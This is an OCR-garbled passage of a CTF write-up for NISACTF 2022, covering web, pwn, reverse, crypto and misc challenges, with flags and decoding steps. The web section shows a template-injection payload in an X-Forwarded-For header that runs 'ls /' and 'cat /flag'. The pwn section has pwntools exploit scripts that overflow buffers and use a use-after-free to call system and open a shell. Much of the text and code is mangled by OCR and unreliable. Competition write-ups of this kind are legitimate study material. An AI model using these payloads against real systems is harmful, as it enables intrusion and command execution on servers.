Ready CRRBIG s 116 Kilis

midlevel

ERAE, 15 -> [CISCN2019_4 %K B 3§ X ]Web11

em("ls /")}{/if} /flag")}{/if}

Burp Project Intruder Repeater Window Help
Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Logger Extender Project options. User options Knife

1 x 2 x 3 x 4 = 5 7 x B8 x 9 = 10 = 12 x 13 x 14 = 13 =

- R0

Target: httpy/1.1471.254:28038 7 (7)

Request Response m == INSPECTOR @ X
cretty R \n Actions v Raw Render \n Actions v Query Parameters (0) ~
1 GET / HTTP/1.1 1P
2 Host: 1.14.71.254:28038 </h1> Body Parameters (0) 4
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) 18 <h2 class="hidder—xs hidden-sm”>
Gecko/20100101 Firefox/49.0 A Simple Public IP Address API Request Cookies (0) v
4 Accept: </h2>
text/html, application/xhtml+txml, application/=ml; g=0. 9, */*; ¢=0. & 19 <fdive Request Headers (10) v
5 Accept-Language: zh—CN, zh; g=0. 8, en-US;g=0. 5, en; q=0.3 20 <div style="float:right margin—top:30px; ">
& Accept-Encoding: gzip, deflate Current IP:bin Response Headers (6) ~
TDNT: 1 dev
{-Real-IP: 127.0.0.1 etc
9 Connection: close flag
10 Upgrade-Insecure—Requests: 1 home
11 ¥-Forwarded-For: {if system(“ls /")} [/if} [if system("cat lib
/flag™)} {/if} media
12 mnt
13 opt
proc
root
run
shin
srv
sys
usr
var
<7php $flag="NSSCTF {51687d59-Tha8-4177-8bdf-4eT437c53862}’
<Jdiv>
<fdive
<div class="why row”>
<div class="col-xs-12">
<hz>
Why use?
<fh2>
44 <div class="row">
45 <div class="col-xs—offset-1 col-zs-10">
46 {p>
47 Do you need to get the public IP address 7 Do yo
48 <oy
49 {p>

@ &[] cearn Omatches (D03 (€ ][] [ search 0 matches

Done O k20 bz e s




PWN

ReorPwn

AN R — N tds 7, ot

Recipe Bl 3 Input
cat /flag
Reverse
By
Character
Output
galf/ tac

ezpie
from pwn import

context.log level

remote( , 28665)

(p.recv(8), 16)
5 (main_addr))
main_addr + Ox80F 0x770
5 (shell_addr))
(0x28 + 4) p32(shell addr)

p.sendline(payload)

p.interactive()

ezstack

wiw ] Wb

f::[]-"" Ly

= L LY




from pwn import

context.log level

D remote( , 28980)
elf = ELF(

bin_sh 0x0804A024

sys_addr = elf.symbols|

payload (0x48 + 4) p32(sys_addr) p32(0xdeadbeet) p32(bin_sh)

p.sendlineafter( ,payload)

p.interactive()

ezheap
IDA ¥iew—h Fzeudocode—B Frendocode-
1int _ cdecl main(int argc, const char **argv, const char **envp)
29
3 char *command; // [esp+8h] [ebp-1@h]

char *s; // [esp+Ch]

i

setbuf(stdin, @);
setbuf(stdout, @)
s = mallec(@x16u)
ind = malloc(
puts("Input:");
11 gets(=);
12| system(command);
13 return 8;

o

]

[Ty =]
[
|

3
]
Bx16u);

=
-

14 } I o] oot eley

A LS L L AsTVY

el bR, B, TR

NSSCTF{5df122cd-294d-4ffl1-ble6-18ad543fd2bo}

UAF



from pwn import

context.log level

process(

def add_note():

p.recvuntil(

p.sendline(

def edit note(page, content):
p.recvuntil( )
.sendline(

.recvuntil(

.recvuntil(

p
p
p.sendline( (page))
p
p

.sendline(content)

def del note(page):
.recvuntil( )
.sendline(
.recvuntil(

.sendline( (page))

show_note(page):
.recvuntil( )
.sendline( )
.recvuntil(

.sendline( (page))

0x08048642

p32(system_addr)
edit_note(1l, payload)
show_note(0)

p.interactive()

Reverse

ezpython
Fil pyinstxtractor x4mi¥, #RJ5F010editeril struct.pyc [ISk#%5 src.pyc .

Fluncompyle6it 5 ilpy L4«




import rsa, base64

keyl rsa.PrivateKey.load pkcsl(base64.b64decode(

key2 rsa.PublicKey.load pkcsil(base64.b64decode(

def encryptl(message):

crypto_text rsa.encrypt(message.encode(), key2)
return crypto_text

decryptl(message):
message_str = rsa.decrypt(message, keyl).decode()

return message_str

encrypt2(tips, key):
ltips (tips)
lkey (key)
secret [1]
num (4]
for each in tips:
if num lkey:
num num lkey
secret.append( ( (each) (key[num])))
num 1

return base64.b64encode(''.join(secret).encode()).decode()

decrypt2(secret, key):

tips base64.b64decode(secret.encode()).decode()
1tips (tips)




secret []

num (7]

for each in tips:
if num INGE

num num lkey

secret.append( ( (each) (key[num])))

num 1

return .join(secret)

result = decrypt2( , key)
print(decryptl(base6 4decode(decrypt2(flag, result))))

sign-ezc++

E Functions window O & x IDA View—h Fzendocode—h @ Hex Vi
. 1int _ cdecl main(int argc, const char **argv, const char **envp)
Function name Segment 29
[F] _GLOBAL_sub | flag text 3 Man *v3; // rb
s "
[F] Human:give flag(void) text Human *va; //

std::string name; // [r:

o

[F] std:_int to_charzchar,ulong=(char ~ulong,char const”std:: los F... .text char v7; // [r ]
[F] stdz_int to_charzchar,ulong long=(char *ulong long,char const®s... .text : Human *m; // [ -
o
[F] std:_int to_char<wchar t,ulang=(wchar t *ulangwchar t const®st... .text 9 main();
[F] stdz_int to_char<wchar tulang long=({wchar t *ulong langwchar ... text 18  std::allocator<char>::allocator(&7);
. . . . . 11 std::string::string(&name, "NISACTF", &v7);
[7] std:operator< < <char,stduchar_traits <char = = (std::ostream &,std:.. text 12 S = (Man *)operator new(@x18ui6a4);
[F] stduoperator << =char,std::char traits <chars = (stdzostream B std:... text 13 an{v3, (std::string)&name, 4);
[F] stduoperator =< <wchar_tstd:ichar_traits swchar_t= = (stdiwostrea..  .text a4 m =i .
- - - 15 std:istring:i~string(&name);
[7] stduoperator<= <wchar_tstd:char traits <wchar_t= »(stduwostrea...  text 16 std::allocator<char>::~allocator(&7);

[7] stduoperator== =char,std::char traits <char= = (stdzistream &,std:: ... .text (__fastcall **}({Human *})m->_vptr_Human + 1})(m};
[F] stduoperatar== =<char,stdi:char_traits <char= = (stdzistream &,std:: text T: 1; ? _i)
[7] stduoperator= = <wchar_tstd:ichar_traits swchar_t= = (stdiwistream ... .text 28 {
[F] stduoperatar== <wchar_tstduchar_traits <wchar_t= = (stduwistream ... text 21 Human : z~Human (m) ; )
22 operator delete(v4);
23
24 return @;
5}

e
wiw R




oid  cdecl Human::give flag(Human *const this)

rﬂ-u_t'-.'_

2

3 int i; // [rsp+2Ch] [rbp-54h]

5 for (1 =8; 1 ¢ strlen(flag); ++1i )

6 flag[i] "= @xhu;
.data: B0EEERERERLGAR2E ; char Tlag[48]
.data:eeeeepepeRdciaZe flag db 44h, 2 dup(5%h), 49h, 5Eh, 4Ch, 71h, 7Eh, 62h, &3h
.data: EEERERERERLGAR2R ; DATA x{:-: Human::give flag(weid)+21te
.data: e0EEERERARLGAR2R ; Human: ve_flag(void)
.data: EEERERERERLGAR2R db 7%h, s55h, 63h, 79h, 55h, 44h, 43h 59h 4gh, 55h ?Sh
.data:000000000846A020 db 6Fh, 55h, 7%h, 63h, 6Dh, 64h, 77h, 14h dup(@)

flag
for c in enc:
flag (c”oxa)

puts("error!™);
exit(8);

w0noca

=]

h
puts("The length of flag is 13"});
srand(seed);

(RN

25 if ( !({_DWORD)vE << 38) )
26 goto LABEL_4;
27 }
23}
29 else
3w {
31 LABEL_4:
32 for ( i = (int)vé; ((i - 16843009) & ~i & BxB@B08080) == @; i = v13 )
33 I
34 /13 = va[1];
35 5 += 43
36 }
37 2 = vEtt;
38 for (4 = *v2; 5 = *v3 )
39 E
a0} |
41 puts("This a waglc'")'
42 wvi@ = ( |:-“R|::| 6 - w1
43 for ( k = @; (int)ve - w12 » k; +Hk )
-2 vl@ = Bxlﬂu,
O - I
a6 |
5
5
5 printf("NSSCTF{");
5 for (1L =8; 1 < 13; ++1 )
54 {
55 4 o= rand();
56 printf({"%d", (unsigned int)(v4 ¥ 8 + 1));
57}
58 putchar(125);
59  return &ve[-v12]; T el Loy
58 } LAY A oL LAY

[N TR =y 1 P o - 2 1 A S



P H4 oK NSSCTF{535331661112677523}

S 4nflag 134750 /& NSSCTF{5353316611126}

Crypto
sign_crypto

SYENOV{nocor_nisa [ A+ _ ANTIE}

1

Latex{& 5 -> Latexi W& 5 X R

B 76 \ni \Sigma \Sigma \chi \Theta \forall { \eta \diamond \infty \tau _ \widehat \int \triangle
\hookleftarrow _ \Lambda \aleph \tau \ell \Xi }

NSSCTF{EDIT_WITH_LATEX}

normal

1?2101 PN

1?2101 2011



https://blog.csdn.net/zgj926503/article/details/52757631/
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Irrnl 1?2.°?1 Irrni

rrrrr rrrrl

Ook!fi#thi5 )5

\uB0B65\ub047\udo6C\udB69\UuBB5a\udB57\udo67\ud074\u0061\UuBB32\UBB56\UPB62a\uPB62\uB32\uPB63\uPO74\u064\UL06e\UuUdo
6c\u0032\u0059\u0057\u073\ue074\u0062\uB57\uBB6Cc\uBB73\uBB61\uBB57\uBB77\udB74\uB62\uBB58\uBB6C\UuBB74\udB5a\Uu
0057\u0059\u0074\u0059\u006e\u056\u077\uBB59\ueB57\uee67\uBB74\uBB65\uee6d\uBB56\uBB77\udB61\udB57\ud67\ude74
\u0061\ub047\ub046\ud069\udB65\UudB57\ud073\uB074\u0062\UuBB4A7\UuBB56\ud073\uLB64\Uu057\u051\u074\uR059\UuL032\Uu0dd
39\u0073\u0064\ud057\ud073\ud074\u0062\ub048\ud06C\ud030\ub062\u0032\Uu077\u0074\uP061\UPO33\ULB56\UuPO74\uLO61\U
0057\u0067\u0074\u0062\ue057\ud039\u0036\u0064\UA058\UB67\UB3d

Unicodefi#fit J5

ZUdsaVpXZ3RhM1ZqYjJjdGRubDJZV3NOY1ldsc2FXd3RiWGxOW1dZdF1luVndZV2d@ZW1Wd2FXZ3RhROZpZVdzdGIHVNNKV1FOWTI5c2RXc3RiSGww
YjI3dGEZzVnRhV2dOY1c5NmRYZz0=

Base64fi# iy )5

xibeh-kecog-vyvak-milil-mymef-bupah-zepih-habyk-lelud-coluk-1lytol-kumih-mozux

BubbleBabblefi#hd 5

AVFN{h_xa@j_ ju@g_! guvaX}

ROT13f#tY )5

NISA{u_knOw_wH@t_! thinK}



import base64
from Crypto.Util import number, strxor

def getK(a,enc_a):
1=a[:16]
r=al[16:]

enc_al:16]

enc_al[16:]

strxor.strxor(strxor.strxor(r,1), r)

kr=strxor.strxor(_1,r)

return [kl,kr]

def dec(enc_a,kl,kr):
_l=enc_a[:16]
_r=enc_a[16:]
r=strxor.strxor(_1,kr)
l=strxor.strxor(strxor.strxor(_r,kl),r)

return l+r

test=base64.b64decode(test.encode())
enc_test=base64.bb64decode(enc_test.encode())
enc_flag=base64.b64decode(enc_flag.encode())

kkey=[]
kkey=getK(test,enc_test)

fle=dec(enc_flag, kkey[0],kkey[1])
print(fle)

NSSCTF{3c4e05db6512d51e@a93ae320cObb69a}

Misc

22
AN NSSCTF{WelcOme 2 n1SaCTF2022}

huaji?

F binwalk 2515 2 K46




Recipe S BN Input
6374665f404053415F32303232

From Hex

Mone

Output

ctf_NISA_ 2022 B
CSDN @stlcky

33 ctf_NISA 2022 , fi#/E15%flag.

flag{Nls@_FumYEnnOjy}

bqt

TEABIF A T

cleYacadcifdeseii2aladd4ebebade bece 1o alled3baalebece] cﬁ?r:Se{n:Sr:fcqndeu?ctl:Selun:&r:'JeftdwcS:Betc&:?e?n&elt:leSfd
)

7 360174

=4 -

o

(m),2):

,16)-128)
print(num)

Hi, Ctfer! The flag is: flag{wefeoidjgoedsfiorpefdfggfdse}




where_is_here

FIRER BB A — S I SRS A HUR 1 1A 3
HIRHERLF 3R, FHLS 2R LR

$25517746048875}

B EER BRI —ANITER )T, googleREE AKX AR R HE .



4,030 FiFh

KY0BO[Bool

v
Q fEKEEE
Sambory, .

G

25
o o BiEE
_: LCE
o :
& =
B CI\EmlggyESqnareo =1/ £ H
2 37.56928, 126.97864 @ o
@28 o HAM D@
, , Seoul, . : E:
@ 1 Cheonggyecheon-ro, Jongno-gu, Seoul, #E :\ft'\ ‘;’ ML R BB SR
ki 8 AR R Z
© AEsEdEETEyEE. 20712 g AR AL = e o
)LBHA? w EZ =z
® uIEBL v E gg
= b= hul 2§
ao e i SE
@ sisulork 70 Bz 2g
Ra 8222290711 ARIMERSC A
3 R
sle HXOHJF EREHE FINBHER
MEBEE
@ EENEBERNAER
D FmEE
HAH XD
42 % (60)
7 RHESEEN Cta|
BRARNER B ) sD
EATERSEENSS
® 2L
L= datis Ziz
Fi= 02-2290-6801 ZEEEREZ
I 02-2290-6804 MELHYE
usy 02-2290-6807 AT R RUSAE] SFALERE £
RlE=s 02-2290-6805 o4t
2z 02-2290-7134 SSCAY AL 2F 5
=23 02-2290-6802 HE U™
=5 02-2250-6803 HAH Al gz R
] et rley
s aUN WETLCRY

BN, B DR, MERER.

ovty fgh wnn //HE
112

0678 3127 2347 @155 5074

40227 44801 36780 27620
it

YPTC QVIO MGBHU JYK

Fiz VN S

155 5074 MAZY AGD BMY NFA XOBV

/ /LY

/ /K55

VALY EREAE

A MFJI 40227 44801 36780

2

YPTC QVIO MGBHU




B: BT B E R R AR I — P LU B SE, md5 )5 (1) 45 SR Rl hflag .
1 4 v flag

usbiE i E L, AT

UJKONJK, TFVBHYHIIPOKRDCVGRDCVGPOKQWSZTFVBHUIKOWAZXDQASEWSDRPOKXDFVIKLPNIKWSDRRFGYRDCVGUHNMKBHIMYHI I

SRS, FEIEOR (10 7 BEURE 2R .

UJEONJE, TEFVBHYHJIPOKRDCVGRDCVGPOKQWSZTFVBHUJKOWAZXDQASEWSDRPOEXDEVIKLPNJEWSDERFGYRDCVGUHNMKBHIJMYHJ T

ujko njk, tfvbhy hji pok rdcvg rdcvg  pok qwsz tfvbh ujko wazxd

i m g u 1 f f 1 a g i s

Jqase wsdr pok xdfv iklp nijk wsdr rfgy rdcvg uhnmk  bhijm yhii
W e 1 c o m e t f ] n u

N2 BA A HE AW,

dir /mnt/c in PATH, mode 84

56 51

"IITIIITI:

NISA{WlecOme_to NiSa2022}
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